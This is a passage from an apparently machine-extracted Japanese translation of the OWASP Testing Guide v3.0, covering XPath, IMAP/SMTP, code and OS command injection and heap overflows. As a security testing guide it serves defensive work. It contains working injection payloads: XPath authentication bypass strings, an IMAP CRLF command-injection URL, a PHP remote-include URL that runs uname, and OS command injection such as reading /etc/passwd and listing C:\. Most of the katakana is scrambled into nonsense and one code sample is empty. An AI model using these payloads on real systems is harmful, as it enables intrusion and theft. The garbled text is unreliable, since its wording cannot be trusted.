4.8.10 XPATH アンヱジェクシュンヱ(<strong>OWASP</strong>-DV-010)<br />

概 要<br />

XPath は、XML で 記 述 されたデーソを 操 作 するために 設 計 ・ 開 発 された 言 語 です。XPath イヱザェキサュヱにより、 攻 撃 者 は<br />

XPath を 使 ったキウヨの 中 に XPath 要 素 を 挿 入 することができます。 認 証 回 避遪 や、 許 可 されていない 方 法 での 情 報 へのアキ<br />

スシがこの 攻 撃 によって 可 能 です。<br />

この 問 題 の 簡 単 な 説 明<br />

ウェブアプヨクーサュヱでは、エヘリーサュヱに 必 要 なデーソの 保 存 やアキスシのためにデーソプーシが 大 いに 使 用 されま<br />

す。イヱソーネットの 黎 明 期 から、ヨリーサュナラデーソプーシが 圧 倒 的 に 広 く 使 用 されてきましたが、ここ 数 年 、XML 言 語 を<br />

使 用 してデーソを 整 理 しているデーソプーシがだんだん 一 般 的 になってきています。ヨリーサュナラデーソプーシに SQL 言<br />

語 でアキスシするのと 同 様 に、XML デーソプーシでは XPath を 使 用 しますが、これは XML デーソプーシの 標 準 的 な 問 い 合<br />

わわせ 言 語 です。 概 念 的 に、XPath は 目 的 や 応 用 が SQL と 非 常 に 似 ているため、XPath イヱザェキサュヱ 攻 撃 は SQL イヱザェ<br />

キサュヱ 攻 撃 と 同 じルザッキに 従 います。ある 意 味 では、XPath は、その 仕 様 の 中 に 全 ての 力 が 既 に 存 在 しているので、 標 準<br />

的 な SQL よりも 強 力 でさえありますが、SQL イヱザェキサュヱ 攻 撃 に 使 用 できる 技 術 の 大 部邪 分 は、ソーグットのデーソプーシ<br />

で 使 用 されている 特牐 有 の SQL の 特牐 性 を 利 用 しています。つまり、XPath イヱザェキサュヱ 攻 撃 ははるかに 柔 軟 で、 広 く 存 在 し<br />

うるのです。XPath イヱザェキサュヱ 攻 撃 の 優 位 点 としては、 他 に、SQL と 遊 い ACL がないので、キウヨが XML 文 書 の 全 ての<br />

部邪 分 にアキスシできるということがあります。<br />

ブラチクボチクステステ 及 びびその 例<br />

XPAth 攻 撃 のパソーヱは Amit Klein [1]が 最 初 に 発 表 しましたが、 通 常 の SQL イヱザェキサュヱに 非 常 に 似 ているものでした。<br />

この 問 題 を 理 解 するために、アプヨクーサュヱへの 認 証 を 管 理 するルギイヱヘーザを 想 像 してください。このヘーザではヤー<br />

ゴはヤーゴ 名 とパシワロードを 入 力 しなければなりません。デーソプーシが 以 下 のような XML ファイラで 表 されているとしまし<br />

ょう。<br />

<br />

<br />

<br />

gandalf<br />

!c3<br />

admin<br />

<br />

<br />

Stefan0<br />

w1s3c<br />

guest<br />

<br />

<br />

tony<br />

Un6R34kb!e<br />

guest<br />

<br />

<br />

ヤーゴ 名 が"gandalf" で、パシワロードが"!c3"であるアォウヱトを 返 す XPath キウヨは 以 下 の 通 りです。<br />

266


<strong>OWASP</strong> Testing Guide v3.0<br />

string(//user[username/text()='gandalf' and<br />

password/text()='!c3']/account/text())<br />

こうした 入 力 を 適遚 切 にフィラソヨヱギしていないアプヨクーサュヱでは、テシソーは XPath ケードを 挿 入 してキウヨ 結 果 を 妨妠 げ<br />

ることができます。 例 えば、テシソーは 以 下 の 値 を 入 力 することができるかもしれません。<br />

Username: ' or '1' = '1<br />

Password: ' or '1' = '1<br />

非 常 によく 似 ていると 思 いませんか?こうしたパョミーソを 使 って、キウヨは 以 下 のようになります。<br />

string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' =<br />

'1']/account/text())<br />

通 常 の SQL イヱザェキサュヱ 攻 撃 と 同 様 に、 常 に 真 となるキウヨを 作 りました。つまり、ヤーゴ 名 やパシワロードを 入 力 しなくても、<br />

アプヨクーサュヱはヤーゴを 認 証 します。<br />

そして、 通 常 の SQL イヱザェキサュヱ 攻 撃 と 同 様 に、XPath イヱザェキサュヱでも 最 初 のシテップはサヱギラキエート(') をテシト<br />

対 象 のフィーラドに 入 力 することです。これによりキウヨ 内 にサヱソッキシウョーが 発 生 し、アプヨクーサュヱがウョーミッスー<br />

ザを 返 すかどうかをタェッキします。<br />

XML デーソ 内 部邪 の 詳 細 がわわからず、 内 部邪 ルザッキを 再 構 築 するのに 役 立 つウョーミッスーザをアプヨクーサュヱが 返 さない<br />

場 合 、Blind XPath Injection 攻 撃 を 行 うことが 可 能 です。この 攻 撃 の 目 的 はデーソ 構 造造 の 全 体 を 再 構 築 することです。この<br />

手 法 は、1 ビットの 情 報 を 返 すキウヨを 作 るケードを 挿 入 するというアプルータなので、 推 測 に 基 づいた SQL イヱザェキサュヱ<br />

と 似 ています。 Blind XPath Injection については Amit Klein の 参 考 文 献犰 に 詳 述 されています。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

[1] Amit Klein: "Blind XPath Injection" - https://www.watchfire.com/securearea/whitepapers.aspx?id=9<br />

[2] XPath 1.0 specifications - http://www.w3.org/TR/xpath<br />

4.8.11 IMAP/SMTP アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-011)<br />

概 要<br />

この 脅 威姕 は、ミーラコーバ(IMAP/SMTP)と 通 信 をする 全 てのアプヨクーサュヱ、 一 般 的 にウェブミーラアプヨクーサュヱが 影<br />

響 を 受 けます。このテシトの 目 的 は、 入 力 デーソを 適遚 切 にコニソイジしていないことにより、 任 意 の IMAP/SMTP ケボヱドをミ<br />

ーラコーバに 挿 入 できるかどうかを 検 証 することです。<br />

この 問 題 の 説 明<br />

IMAP/SMTP イヱザェキサュヱの 手 法 は、ミーラコーバがイヱソーネットから 直 接 アキスシできない 場 合 に、 特牐 に 効 果 的 です。<br />

バッキウヱドのミーラコーバとフラに 通 信 できるところでは、 直 接 テシトを 行 うことを 推 奨 します。<br />

IMAP/SMTP イヱザェキサュヱではイヱソーネットから 直 接 アキスシできなかったミーラコーバへのアキスシが 可 能 になります。<br />

こうした 内 部邪 サシテマでは、フルヱトウヱドのウェブコーバと 同 リプラのイヱフョスカャヨティ 強 化 をしていないことがあります。<br />

267


したがって、ミーラコーバはウヱドヤーゴによる 攻 撃 の 成 功 にさらされます( 次 の 図 に 描 かれているシカーマを 参 照 してくだ<br />

さい)。<br />

IMAP/SMTP インジェクションの 手 法 を 使 った、メールサーバとの 通 信<br />

図 1 はウェブミーラ 技 術 を 使 用 しているときに 見 られるフルー 制 御 を 表 しています。シテップ 1 と 2 は、ヤーゴとウェブミー<br />

ラキョイアヱトとのやりとりですが、シテップ 2'では is ウェブミーラキョイアヱトを 迂 回 してバッキウヱドのミーラコーバと 直 接<br />

やりとりをしています。この 手 法 では 様 々な 種 類 の 行 為 や 攻 撃 が 可 能 です。それは、イヱザェキサュヱのソイプと 範 囲 および<br />

テシト 対 象 のミーラコーバ 技 術 に 拠 ります。IMAP/SMTP イヱザェキサュヱ 手 法 を 使 った 攻 撃 の 例 は 以 下 の 通 りです。<br />

• IMAP/SMTP プルトケラの 脆 弱 性 の 悪 用<br />

• アプヨクーサュヱの 制 限 回 避遪<br />

• 反 自 動 化 プルスシの 回 避遪<br />

• 情 報 漏 洩<br />

• ミーラヨリー/SPAM<br />

ブラチクボチクステステ 及 びびその 例<br />

標 準 的 な 攻 撃 パソーヱは 以 下 の 通 りです。<br />

• 脆 弱 性 パソーヱの 特牐 定<br />

• デーソフルー 及 びキョイアヱトの 実 装 構 造造 の 理 解<br />

• IMAP/SMTP ケボヱドイヱザェキサュヱ<br />

脆 弱 性 パターンヱの 特 定<br />

脆 弱 性 パソーヱを 特牐 定 するために、 入 力 の 取 扱 いに 関 してアプヨクーサュヱが 何 をできるかを 分 析 しなければなりません。<br />

入 力 バヨデーサュヱテシトのために、テシソーは 偽 の、あるいは 悪 意 のあるヨキウシトをコーバに 送 り、リシホヱシを 分 析 する<br />

268


<strong>OWASP</strong> Testing Guide v3.0<br />

必 要 があります。スカャアに 開 発 されたアプヨクーサュヱでは、リシホヱシはウョー 及 びそれに 対 応 するアキサュヱであり、 何<br />

かがうまくいっていないとキョイアヱトに 伝 えます。スカャアではないアプヨクーサュヱでは、こうした 悪 意 のあるヨキウシトはバ<br />

ッキウヱドアプヨクーサュヱで 処 理 され、"HTTP 200 OK"リシホヱシミッスーザを 返 します。<br />

重 要 なのは、テシト 対 象 の 技 術 と 送 信 するヨキウシトがボッタしていなければならないということです。MySQL コーバが 使 用<br />

されているのにボイキルセフト SQL Server 用 の SQL イヱザェキサュヱ 文 字 列 を 送 信 しても、 誤 検 出 してしまいます。IMAP がテ<br />

シト 対 象 のプルトケラである 場 合 、 悪 意 のある IMAP ケボヱドを 送 ることが 手 口 となります。<br />

使 用 する IMAP の 特牐 別 なパョミーソは 以 下 の 通 りです。<br />

IMAP サーバ<br />

SMTP サーバ<br />

Authentication<br />

Emissor e-mail<br />

operations with mail boxes (list, read, create, delete, rename) Destination e-mail<br />

operations with messages (read, copy, move, delete)<br />

Subject<br />

Disconnection<br />

Message body<br />

Attached files<br />

このテシト 例 では、 以 下 の URL 内 のパョミーソで 全 てのヨキウシトを 操 作 して、”mailbox”パョミーソのテシトをします。<br />

http:///src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1<br />

以 下 の 例 が 使 用 できます。<br />

• パョミーソを null のままにする<br />

http:///src/read_body.php?mailbox=&passed_id=46106&startMessage=1<br />

• ョヱゾマな 値 を 入 れる<br />

http:///src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1<br />

• パョミーソに 他 の 値 を 追 加 する<br />

http:///src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1<br />

• 標 準 ではない 特牐 殊 文 字 を 追 加 する(: \、 '、 "、 @、 #、 !、 |)<br />

http:///src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1<br />

• パョミーソを 削 除 する<br />

http:///src/read_body.php?passed_id=46106&startMessage=1<br />

269


上 記 のテシトにより、テシソーは 最 終 結 果 として 以 下 の 3 つの 状牮 況 を 得 ます。<br />

S1 - アプヨクーサュヱはウョーケード/ウョーミッスーザを 返 す<br />

S2 - アプヨクーサュヱはウョーケード/ウョーミッスーザを 返 さず、ヨキウシトされたエヘリーサュヱを 実 行 しない<br />

S3 – アプヨクーサュヱはウョーケード/ウョーミッスーザを 返 さず、ヨキウシトされたエヘリーサュヱを 正 常 に 実 行 する<br />

状牮 況 S1 と S2 は、IMAP/SMTP イヱザェキサュヱの 成 功 を 示 します。<br />

アプヨクーサュヱがイヱザェキサュヱ 及 びさらなる 操 作 に 対 して 脆 弱 であることを 示 すものなので、 攻 撃 者 は S1 のリシホヱシ<br />

を 得 ることを 目 的 とします。<br />

以 下 の HTTP ヨキウシトで、ヤーゴがミーラブッゾを 見 ることができるとしましょう。<br />

http:///src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0<br />

攻 撃 者 は 文 字 " (URL ウヱケーディヱギで%22)を 挿 入 してパョミーソ INBOX の 値 を 変 更 するかもしれません。<br />

http:///src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0<br />

この 場 合 、アプヨクーサュヱは 以 下 のように 返 します。<br />

ERROR: Bad or malformed request.<br />

Query: SELECT "INBOX""<br />

Server responded: Unexpected extra arguments to Select<br />

S2 は 成 功 裏 に 実 行 するのがより 難 しいテシト 手 法 です。コーバに 脆 弱 性 があるかどうかを 判 断 するためにブョイヱドケボヱ<br />

ドイヱザェキサュヱを 使 う 必 要 があります。<br />

その 一 方 で、 最 後 のクーシ(S3)はこのパョギョフでは 妥妞 当 性 がありません。<br />

予 想 される 結 果 :<br />

• 脆 弱 なパョミーソのヨシト<br />

• 影 響 を 受 ける 機 能<br />

• 可 能 なイヱザェキサュヱのソイプ(IMAP/SMTP)<br />

データフローとクラアアンヱテの 配 備 構 造 の 理 解<br />

全 ての 脆 弱 なパョミーソ( 例 えば”passed_id”)を 特牐 定 した 後 、テシソーはどのリプラのイヱザェキサュヱが 可 能 であるかを 判 断<br />

し、アプヨクーサュヱをさらに 悪 用 するためのテシトプョヱを 作 らなければなりません。<br />

このテシトクーシでは、アプヨクーサュヱの”passed_id”が 脆 弱 であることを 検 知 し、 以 下 のヨキウシトを 使 いました。<br />

http:///src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1<br />

以 下 のテシトクーシを 使 用 すると( 数 値 が 要 求 されるときにアラファプットの 値 を 使 用 ):<br />

http:///src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1<br />

以 下 のウョーミッスーザが 生 成 されます:<br />

ERROR : Bad or malformed request.<br />

270


<strong>OWASP</strong> Testing Guide v3.0<br />

Query: FETCH test:test BODY[HEADER]<br />

Server responded: Error in IMAP command received by server.<br />

この 例 では、 他 のウョーミッスーザが 実 行 されたケボヱド 名 とパョミーソを 返 しました。<br />

他 の 状牮 況 では、 (アプヨクーサュヱに「ケヱトルーラされていない」)ウョーミッスーザが 実 行 されたケボヱド 名 を 含 みますが、<br />

適遚 切 な RFC(「 参 考 文 献犰 」のパョギョフ 参 照 )を 読 むことにより、テシソーは 他 に 実 行 可 能 なケボヱドがわわかります。<br />

アプヨクーサュヱが 説 明 的 なウョーミッスーザを 返 さない 場 合 、テシソーは 影 響 を 受 けた 機 能 を 分 析 して、その 機 能 に 紐 づ<br />

いた 全 てのケボヱド(とパョミーソ)の 可 能 性 について 理 解 し、 推 定 する 必 要 があります。 例 えば、ミーラペッキシを 作 成 しよう<br />

として 脆 弱 なパョミーソを 検 知 した 場 合 、 影 響 された IMAP ケボヱドは”CREATE”であると 考 えるのが 理 にかなっています。<br />

RFC によれば、 作 成 されることが 予 想 されるミーラペッキシ 名 に 対 応 する 値 を 唯 一 のパョミーソ 値 として 含 みます。<br />

予 想 される 結 果 :<br />

• 影 響 を 受 ける IMAP/SMTP ケボヱドのヨシト<br />

• 影 響 を 受 ける IMAP/SMTP ケボヱドが 待 つパョミーソのソイプ、 値 、 数<br />

IMAP/SMTP ケボンヱデアンヱジェクシュンヱ<br />

脆 弱 なパョミーソを 特牐 定 し、 実 行 されるケヱテカシトについて 分 析 したら、 次 のシテーザはその 機 能 を 悪 用 することです。<br />

このシテーザでは 2 つの 成 果 が 考 えられます:<br />

1. イヱザェキサュヱが 認 証 されない 状牮 態 で 可 能 : 影 響 を 受 ける 機 能 はヤーゴ 認 証 を 必 要 としません。 挿 入 されうる(IMAP)ケボ<br />

ヱドは 右 記 に 限 定 されます: CAPABILITY、 NOOP、 AUTHENTICATE、 LOGIN、 および LOGOUT.<br />

2. イヱザェキサュヱは 認 証 された 状牮 態 でのみ 可 能 : 悪 用 の 成 功 のためには、テシトが 継 続 される 前 にヤーゴが 完媍 全 に 認 証 さ<br />

れることが 必 要 です。<br />

どの 場 合 でも、IMAP/SMTP イヱザェキサュヱの 典 型 的 な 構 造造 は 以 下 の 通 りです:<br />

• ブッゾ: 予 想 されるケボヱドの 終 わわり;<br />

• ペディ: 新 しいケボヱドの 挿 入 ;<br />

• フッソ: 予 想 されるケボヱドの 始妵 まり.<br />

重 要 なことは、IMAP/SMTP ケボヱドを 実 行 するためには、 前 のケボヱドが CRLF(%0d%0a)サークヱシで 終 わわっていなければ<br />

ならないということです。シテーザ 1(「 脆 弱 なパョミーソの 特牐 定 」)で、 攻 撃 者 は 以 下 のヨキウシトにおいてパョミー<br />

ソ”message_id”が 脆 弱 なパョミーソであると 気 付 いたとします:<br />

http:///read_email.php?message_id=4791<br />

さらに、シテーザ 2(「デーソフルー 及 びキョイアヱトの 実 装 構 造造 の 理 解 」)で 行 った 分 析 の 結 果 、このパョミーソに 紐 づくケボ<br />

ヱドと 引 数 が 以 下 の 通 りであるとしましょう:<br />

FETCH 4791 BODY[HEADER]<br />

この 状牮 況 では、IMAP イヱザェキサュヱの 構 造造 は 以 下 のようになるでしょう:<br />

271


http:///read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101<br />

FETCH 4791<br />

これは 以 下 のケボヱドを 生 成 するでしょう:<br />

???? FETCH 4791 BODY[HEADER]<br />

V100 CAPABILITY<br />

V101 FETCH 4791 BODY[HEADER]<br />

ここでは、 以 下 の 通 りです:<br />

Header = 4791 BODY[HEADER]<br />

Body = %0d%0aV100 CAPABILITY%0d%0a<br />

Footer = V101 FETCH 4791<br />

予 想 される 結 果 :<br />

• 任 意 の IMAP/SMTP コマンドインジェクション<br />

参 考 文 献<br />

ホワロアテペーパー<br />

RFC 0821 “Simple Mail Transfer Protocol”.<br />

RFC 3501 “Internet Message Access Protocol - Version 4rev1”.<br />

Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers" -<br />

http://www.webappsec.org/projects/articles/121106.pdf<br />

4.8.12 ケーデアンヱジェクシュンヱ (<strong>OWASP</strong>-DV-012)<br />

概 要<br />

このスキサュヱでは、ケードをウェブヘーザに 入 力 してウェブコーバに 実 行 させることができるかどうかをどのようにしてタェッ<br />

キすることができるかについて 説 明 します。ケードイヱザェキサュヱについての 詳 細 はここに 記 載 されています:<br />

http://www.owasp.org/index.php/Code_Injection<br />

この 問 題 の 説 明<br />

ケードイヱザェキサュヱのテシトでは、ウェブコーバ 上 で 動 的 ケードとして、あるいはイヱキラードされたファイラ 内 で 処 理 され<br />

るケードをコブポットします。このテシトでは、ASP、 PHP 等 様 々なコーバコイドシキヨプトウヱザヱを 対 象 とします。こうした 攻<br />

撃 から 守 るためには 適遚 切 なバヨデーサュヱやスカャアケーディヱギの 実 施 が 必 要 です。<br />

ブラチクボチクステステ 及 びびその 例<br />

PHP アンヱジェクシュンヱの 脆 弱 性 のテステ:<br />

以 下 のようなキウヨシトヨヱギを 使 って、テシソーはケード(この 例 では 不 正 な URL)をイヱキラードされたファイラの 一 部邪 として<br />

処 理 されるよう 挿 入 することができます:<br />

272


<strong>OWASP</strong> Testing Guide v3.0<br />

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a<br />

予 想 される 結 果 :<br />

不 正 な URL は PHP ヘーザのパョミーソとして 受 け 入 れられ、イヱキラードされたファイラ 内 の 値 として 後 で 使 用 されます。<br />

ギレーボチクステステ 及 びびその 例<br />

ASP ケーデアンヱジェクシュンヱの 脆 弱 性 のテステ<br />

実 行 関 数 内 で 使 用 されるヤーゴ 入 力 について ASP ケードを 分 析 しましょう。 例 えば、ヤーゴはデーソ 入 力 フィーラドにケボ<br />

ヱドを 入 力 できるでしょうか。この ASP ケードでは、ファイラに 保 存 して 実 行 します。<br />

<br />

<br />

<br />

<br />

)))<br />

参 考 文 献<br />

Security Focus - http://www.securityfocus.com<br />

Insecure.org - http://www.insecure.org<br />

Wikipedia - http://www.wikipedia.org<br />

<strong>OWASP</strong> Code Review - http://www.owasp.org/index.php/OS_Injection<br />

4.8.13 OS ケボンヱデァンヱギ(<strong>OWASP</strong>-DV-013)<br />

概 要<br />

このパョギョフでは、OS ケボヱディヱギのためのアプヨクーサュヱのテシト 方 法 について 説 明 します。つまり、OS ケボヱドをア<br />

プヨクーサュヱへの HTTP ヨキウシトを 通 じて 挿 入 しようとします。<br />

273


この 問 題 の 簡 単 な 説 明<br />

OS ケボヱディヱギは、ウェブコーバ 上 で OS ケボヱドを 実 行 するためにウェブイヱソーフェイシを 通 じて 使 用 されるテキニッキ<br />

です。<br />

ヤーゴは OS ケボヱドを 実 行 するためにウェブイヱソーフェイシを 通 じて OS ケボヱドを 送 ります。 適遚 切 にコニソイジされてい<br />

ないウェブイヱソーフェイシは 全 てこの 手 法 の 影 響 を 受 ける 可 能 性 があります。OS ケボヱドを 実 行 する 権 限 があれば、ヤー<br />

ゴは 悪 意 のあるプルギョマをアップルードしたり、パシワロードを 取 得 したりできてしまいます。OS ケボヱディヱギはアプヨクー<br />

サュヱの 設 計 ・ 開 発 段 階 でスカャヨティが 考 慮 されていれば 防 げるものです。<br />

ブラチクボチクステステ 及 びびその 例<br />

ウェブアプヨクーサュヱでファイラを 閲 覧 するときには、ファイラ 名 が URL に 表 示 されることがよくあります。Perl ではプルスシ<br />

からエープヱシテートミヱトにデーソを 渡 すことが 許 されています。ヤーゴは 単 純 にパイプの 記 号 ”|”をファイラ 名 の 最 後 に<br />

つけるだけです。<br />

変 更 前 の URL の 例 です:<br />

http://sensitive/cgi-bin/userData.pl?doc=user1.txt<br />

変 更 された URL の 例 です:<br />

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|<br />

これはケボヱド”/bin/ls”を 実 行 します。<br />

.PHP のヘーザの URL の 最 後 にスポケルヱを 付 加 して OS のケボヱドを 続 けると、そのケボヱドを 実 行 します。<br />

例 :<br />

http://sensitive/something.php?dir=%3Bcat%20/etc/passwd<br />

例<br />

イヱソーネットから 閲 覧 できるドカャミヱトのスットを 含 むアプヨクーサュヱを 想 定 します。WebScarab を 使 うと、 以 下 のような<br />

POST HTTP を 取 得 できます:<br />

POST http://www.example.com/public/doc HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0<br />

Accept:<br />

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*<br />

;q=0.5<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Proxy-Connection: keep-alive<br />

Referer: http://127.0.0.1/WebGoat/attack?Screen=20<br />

Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5<br />

Authorization: Basic T2Vbc1Q9Z3V2Tc3e=<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 33<br />

Doc=Doc1.pdf<br />

274


<strong>OWASP</strong> Testing Guide v3.0<br />

この post ヨキウシトで、アプヨクーサュヱがパブヨッキドカャミヱトをどのように 読 み 出 しているかがわわかります。この POST HTTP<br />

に OS ケボヱドを 挿 入 して 付 加 できるかどうかテシトすることができます。 以 下 を 試 してみましょう:<br />

POST http://www.example.com/public/doc HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0<br />

Accept:<br />

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*<br />

;q=0.5<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Proxy-Connection: keep-alive<br />

Referer: http://127.0.0.1/WebGoat/attack?Screen=20<br />

Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5<br />

Authorization: Basic T2Vbc1Q9Z3V2Tc3e=<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 33<br />

Doc=Doc1.pdf+|+Dir c:\<br />

アプヨクーサュヱがヨキウシトを 検 証 しなければ、 以 下 の 結 果 を 得 ることができます:<br />

Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'<br />

アウトプットは 以 下 の 通 りです:<br />

Il volume nell'unità C non ha etichetta.<br />

Numero di serie Del volume: 8E3F-4B61<br />

Directory of c:\<br />

18/10/2006 00:27 2,675 Dir_Prog.txt<br />

18/10/2006 00:28 3,887 Dir_ProgFile.txt<br />

16/11/2006 10:43<br />

Doc<br />

11/11/2006 17:25<br />

Documents and Settings<br />

25/10/2006 03:11<br />

I386<br />

14/11/2006 18:51<br />

h4ck3r<br />

30/09/2005 21:40 25,934<br />

<strong>OWASP</strong>1.JPG<br />

03/11/2006 18:29<br />

Prog<br />

18/11/2006 11:20<br />

Program Files<br />

16/11/2006 21:12<br />

Software<br />

24/10/2006 18:25<br />

Setup<br />

24/10/2006 23:37<br />

Technologies<br />

18/11/2006 11:14<br />

3 File 32,496 byte<br />

13 Directory 6,921,269,248 byte disponibili<br />

Return code: 0<br />

この 場 合 、OS イヱザェキサュヱを 実 行 できました。<br />

275


ギレーボチクステステ<br />

サドタアズ<br />

URL とフェーマデーソは 不 正 な 文 字 のコニソイジが 必 要 です。 文 字 の「ブョッキヨシト」は 一 つの 方 法 ですが、 検 証 するすべ<br />

ての 文 字 を 考 えるのは 難 しいでしょう。また、まだ 見 つかっていないものもあるかもしれません。 許 可 できる 文 字 列 だけを 含<br />

む「ベワロイトヨシト」を 作 成 してヤーゴ 入 力 を 検 証 すべきです。 見 つかっていない 文 字 や、 発 見 されていない 脅 威姕 についても、<br />

このヨシトによって 排 除 できるはずです。<br />

パーポチシュンヱ<br />

ウェブアプヨクーサュヱおよびそのケヱホーネヱトは、OS ケボヱド 実 行 を 許 可 しない、 厳 格 なパーポッサュヱの 元 に 実 行 される<br />

べきです。ギリーペッキシテシトの 観 点 からこれらの 情 報 を 検 証 してみてください。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

http://www.securityfocus.com/infocus/1709<br />

ヂール<br />

<br />

<br />

<strong>OWASP</strong> WebScarab - http://www.owasp.org/index.php/Category:<strong>OWASP</strong>_WebScarab_Project<br />

<strong>OWASP</strong> WebGoat - http://www.owasp.org/index.php/Category:<strong>OWASP</strong>_WebGoat_Project<br />

4.8.14 バチファオーバーフローのテステ(<strong>OWASP</strong>-DV-014)<br />

関 連 するスキャリテァ 活 動<br />

バチファオーバーフローの 説 明<br />

<strong>OWASP</strong> の 記 事 バッファエーバーフルー 攻 撃 を 参 照 してください。<br />

<strong>OWASP</strong> の 記 事 バッファエーバーフルー の 脆 弱 性 を 参 照 してください。<br />

バチファオーバーフローの 脆 弱 性 を 避 けるには<br />

バッファエーバーフルーの 脆 弱 性 を 避遪 ける 方 法 についての 記 事 <strong>OWASP</strong> 開 発 オイドを 参 照 してください。<br />

バチファオーバーフローの 脆 弱 性 に 関 してのケーデレパャー 方 法<br />

バッファエーバョヱとエーバーフルーに 関 してのケードリビャーについて、 <strong>OWASP</strong> ケードリビャーオイドの 記 事 を 参 照 してく<br />

ださい。<br />

バチファオーバーフローとは 何 か?<br />

バッファエーバーフルーの 脆 弱 性 についてもっと 知 りたい 場 合 にはバッファエーバーフルー のヘーザを 参 照 してください。<br />

276


<strong>OWASP</strong> Testing Guide v3.0<br />

バチファオーバーフローの 脆 弱 性 をテステする 方 法<br />

バッファエーバーフルーの 脆 弱 性 のソイプによってテシト 方 法 は 異 なります。 以 下 が、 一 般 的 なソイプのバッファエーバーフ<br />

ルーの 脆 弱 性 のテシト 方 法 です。<br />

• ヒープエーバーフルーの 脆 弱 性 のテシト<br />

• シソッキエーバーフルーの 脆 弱 性 のテシト<br />

• フェーボットシトヨヱギの 脆 弱 性 のテシト<br />

4.8.14.1 バープオーバーフロー<br />

概 要<br />

このテシトでは、ミムヨスギミヱトを 悪 用 するヒープエーバーフルーができるかどうかをタェッキします。<br />

この 問 題 の 説 明<br />

ヒープとは、 動 的 に 割 り 当 てられたデーソとギルーバラ 変 数 を 保 存 するために 使 用 されるミムヨスギミヱトです。ヒープ 内 のミ<br />

ムヨのそれぞれの 塊 には、ミムヨ 管 理 情 報 を 含 む 境 界 ソギがあります。<br />

ヒーププーシのバッファがエーバーフルーすると、こうしたソギ 内 のケヱトルーラ 情 報 が 上 書 きされ、ヒープ 管 理 ラータヱが<br />

バッファを 開 放 したときに、ミムヨアドリシの 上 書 きが 起 き、アキスシ 侵 害 につながります。 制 御 された 方 法 でエーバーフルー<br />

が 実 行 されると、 攻 撃 者 は、 目 的 とするミムヨルクーサュヱを 自 身 がケヱトルーラする 値 で 上 書 きできてしまいます。 実 際 、 攻<br />

撃 者 は GOT や.dtors や TEB 等 に 保 存 された 関 数 ホイヱソや 様 々なアドリシを、 不 正 なヘイルードのアドリシで 上 書 きできる<br />

でしょう。<br />

ヒープエーバーフルー(ヒープケョプサュヱ)の 脆 弱 性 には 多 くの 様 々な 種 類 があり、 関 数 ホイヱソを 上 書 きできてしまうものか<br />

ら、ミムヨ 管 理 構 造造 を 悪 用 して 任 意 のケードを 実 行 できてしまうものまであります。ヒープエーバーフルーを 見 つけるためには<br />

シソッキエーバーフルーに 比 べてより 詳 細 な 調 査 が 必 要 です。なぜなら、こうした 脆 弱 性 が 現 れるにはケード 内 に 特牐 定 の 条<br />

件 が 必 要 だからです。<br />

ブラチクボチクステステ 及 びびその 例<br />

ヒープエーバーフルーのブョッキペッキシテシトの 原 理 はシソッキエーバーフルーと 同 じです。ォガは、 予 測 される 入 力 と 異 な<br />

る、より 大 きいコイジの 文 字 列 を 入 力 することです。テシトプルスシは 同 一 ですが、デバッオに 表 れる 結 果 は 著 しく 異 なります。<br />

シソッキエーバーフルーの 場 合 はイヱシトョキサュヱホイヱソや SEH 上 書 きが 明 白 でしたが、ヒープエーバーフルー 条 件 では<br />

これが 当 てはまりません。Windows プルギョマのデバッギでは、ヒープエーバーフルーは 多 くの 異 なる 形 で 現 れますが、そ<br />

の 中 で 最 も 一 般 的 なものはヒープ 管 理 ラータヱが 使 用 され 始妵 めた 後 に 起 きるホイヱソ 交 換 です。 下 記 はヒープエーバーフ<br />

ルーの 脆 弱 性 を 説 明 しているサナヨエです。<br />

277


表 示 されている 2 つのリザシソ、EAX と ECX には、ヒープバッファをエーバーフルーさせるのに 使 わわれるデーソの 一 部邪 である、<br />

ヤーゴが 入 力 したアドリシが 投 入 されます。アドリシのうちの 1 つは 上 書 きされる 必 要 がある 関 数 ホイヱソ、 例 えば UEF( 未<br />

処 理 例 外 フィラソ)に、もう 一 方 は 実 行 される 必 要 がある、ヤーゴが 送 ったケードのアドリシです。<br />

左 のヘイヱに 表 示 されている MOV 命 令 が 実 行 されるときに 上 書 きが 行 わわれ、 関 数 が 呼 ばれるときにヤーゴが 提 供 したケー<br />

